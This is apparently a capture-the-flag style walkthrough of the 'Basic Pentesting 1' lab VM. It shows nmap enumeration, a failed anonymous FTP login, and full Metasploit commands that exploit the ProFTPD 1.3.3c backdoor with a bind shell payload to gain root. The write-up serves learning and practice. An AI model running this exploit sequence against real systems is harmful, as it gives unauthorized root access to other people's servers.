TL;DR

During routine enumeration of Basic Pentesting 1 (192.168.100.46), I identified a ProFTPD 1.3.3c service with a known backdoor. Using Metasploit's module for that backdoor, I obtained a bind shell and confirmed root privileges. This is a complete compromise; isolate, preserve evidence, and rebuild.

Environment & Scope

1. Host Discovery & Enumeration

The goal was to discover live hosts and identify open services and versions to prioritize the attack surface. arp-scan quickly lists local hosts, and nmap -sV -A identifies services, versions, and performs basic OS detection.

(root kali)-[/home/kali/basicpen]
# nmap 192.168.100.46 -T4 -sV -A
Starting Nmap 7.95 (https://nmap.org) at 2025-10-26 01:41 EDT
Nmap scan report for 192.168.100.46
Host is up (0.0011s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:09:BE:28 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS details: Linux 3.2 - 4.14
...
Nmap done: 1 IP address (1 host up) scanned in 21.88 seconds

The Nmap scan immediately highlighted the key vulnerability: ProFTPD 1.3.3c on port 21. This version is famous for a well-known backdoor.

2. FTP Anonymous Login Attempt

I first attempted an anonymous FTP login to check for simple misconfigurations. The server rejected the login, confirming that anonymous access was not enabled.

(root kali)-[/home/kali/basicpen]
# ftp 192.168.100.46
Connected to 192.168.100.46.
220 ProFTPD 1.3.3c Server (vtcsec) [192.168.100.46]
Name (192.168.100.46:kali): anonymous
331 Anonymous login ok, send your complete email address as your password
Password:
530 Login incorrect.
ftp: Login failed

3. Exploitation with Metasploit

Knowing the service was ProFTPD 1.3.3c, I launched msfconsole to find the exploit module.

msf6 > search ProFTPD 1.3.3c
Matching Modules
#  Name                                  Disclosure Date  Rank       Check  Description
-  ----                                  ---------------  ----       -----  -----------
0  exploit/unix/ftp/proftpd_133c_backdoor  2010-12-02       excellent  No     ProFTPD-1.3.3c Backdoor Command Execution

The excellent rank module was exactly what I needed. I loaded the exploit, set the target IP (RHOSTS), and checked the available payloads.

msf6 > use exploit/unix/ftp/proftpd_133c_backdoor
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOSTS 192.168.100.46
RHOSTS => 192.168.100.46
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show payloads
...
1  payload/cmd/unix/bind_perl  Unix Command Shell, Bind TCP (via Perl)
...

I selected payload/cmd/unix/bind_perl and ran the exploit. It successfully connected, sent the backdoor command, and opened a root shell.

msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set payload 1
payload => cmd/unix/bind_perl
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > run

[*] 192.168.100.46:21 Sending Backdoor Command...
[*] Started bind TCP handler against 192.168.100.46:4444
[*] Command shell session 1 opened (192.168.100.18:46099 -> 192.168.100.46:4444) at 2025-10-26 01:47:17 -0400

whoami
root

The whoami command confirmed I had full root privileges. The Basic Pentesting 1 machine was successfully completed.

← all walkthroughs